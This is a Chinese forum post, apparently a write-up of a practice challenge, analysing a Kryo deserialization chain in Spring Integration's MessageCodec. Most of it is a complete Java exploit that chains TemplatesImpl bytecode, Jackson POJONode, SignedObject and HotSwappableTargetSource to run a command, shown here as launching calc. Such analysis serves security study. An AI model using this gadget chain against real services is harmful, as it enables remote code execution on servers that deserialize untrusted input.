ToB企服应用市场:ToB评测及商务社交产业平台
标题:
Kryo反序列化链分析
[打印本页]
作者:
八卦阵
时间:
2024-5-17 08:22
标题:
Kryo反序列化链分析
前言
Kryo是一个快速序列化/反序列化工具,依赖于字节码天生机制(底层使用了ASM库),因此在序列化速度上有一定的上风,但正因如此,其使用也只能限定在基于JVM的语言上。
Kryo序列化出的效果,是其自定义的,独有的一种格式。由于其序列化出的效果是二进制的,也即byte[],因此像redis这样可以存储二进制数据的存储引擎是可以直接将Kryo序列化出来的数据存进去。当然你也可以选择转换成String的形式存储在其他存储引擎中(性能有消耗)
环境搭建
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.2.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-messaging</artifactId>
<version>5.3.18</version>
</dependency>
<dependency>
<groupId>org.springframework.integration</groupId>
<artifactId>spring-integration-core</artifactId>
<version>5.3.1.RELEASE</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
复制代码
例题
package com.sea;
import java.util.Base64;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class MessageController {
public MessageController() {
}
@ResponseBody
@RequestMapping({"/"})
public Object message(String message) throws Exception {
byte[] decodemsg;
if (message == null) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAHLyYj656nh3Rj89bSK7ufJrcoDAXRpbWVzdGFt8AnMwumxjGIBAWNvbS5zZWEuVXNl8gEBMbABc2VhY2xvdWTz");
} else {
try {
decodemsg = Base64.getDecoder().decode(message);
} catch (Exception var5) {
decodemsg = Base64.getDecoder().decode("ASsBAQIDAWnkAQBqYXZhLnV0aWwuVVVJxAGBw5uOyvHs1sGsg/nqhOyP9pIDAXRpbWVzdGFt8AnmifmxjGIBAWNvbS5zZWEuVXNl8gEBMbABZXJyb/I=");
}
}
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders)null);
return messagecode.getPayload();
}
}
复制代码
漏洞点在codecMessageConverter.toMessage里面,而且给了一个比较明显的base64字符串,看一下codecMessageConverter类,有一个toMessage和fromMessage,对应的就是反序列化和序列化了
Kyro反序列化链
package com.example.kryo;
import com.esotericsoftware.kryo.Kryo;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
public class Exploit {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
// 二次反序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec("calc");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();
Templates templates = new TemplatesImpl();
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});
POJONode pojoNode1 = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("whatever");
setFieldValue(badAttributeValueExpException, "val", pojoNode1);
// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);
// 一次反序列化
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("whatever"));
// 手动构造 HashMap 以防触发正向利用链
HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
setFieldValue(hashMap, "table", tbl);
//String serial = serial(hashMap);
//System.out.println(serial);
CodecMessageConverter codecMessageConverter = new CodecMessageConverter(new MessageCodec());
// 序列化
GenericMessage genericMessage = new GenericMessage(hashMap);
byte[] decodemsg = (byte[]) codecMessageConverter.fromMessage(genericMessage, null);
// 反序列化
Message<?> messagecode = codecMessageConverter.toMessage(decodemsg, (MessageHeaders) null);
messagecode.getPayload();
}
public static String serial(Object o) throws IOException, NoSuchFieldException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
// Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
// writeReplaceMethod.setAccessible(true);
oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
复制代码
分析一下链子的流程,在toMessage处打个断点,nmmd,断点停不住,艹了,手动分析一波
进入decode方法
这里触发kryo的readObject,手动进去
进入read方法,这里为MapSerializer的read方法
这个map是我们的恶意map,通过触发equals方法来触发我们之后一系列的链子,这个之后的链子就是我们的jackson链,就不多说了,到此为止....
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4